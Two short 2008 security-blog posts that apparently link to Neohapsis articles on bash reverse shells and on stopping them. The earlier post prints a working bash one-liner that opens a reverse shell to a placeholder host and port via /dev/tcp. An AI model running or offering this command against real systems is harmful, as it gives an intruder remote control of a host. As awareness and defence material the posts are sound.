reverse shell

Protecting against reverse shell wickedness…

by kriggins on April 21, 2008

in Tips

In this post, I referenced a very interesting article over at Neohapsis about easily setting up a reverse shell using just the bash shell. Well there is a new post up which talks about the flip side of the equation; How to stop reverse shells.

Like the first post, this one is also a good read.

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Bash based reverse shell wickedness

by kriggins on April 17, 2008

in Security testing, Tips, Tools

ShellNeohapsis just created a lot of pain for those who are trying to stop folks who able to execute arbitrary code on a host, but unable to get a reverse shell.  Used to be you could remove netcat, wget, ftp, etc... and make it much more difficult for a reverse shell to be started.  Enter the ever friendly and helpful Bash shell.

All you need is:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

and tadaa, reverse shell.

Go check it out - http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/

Kevin Riggins

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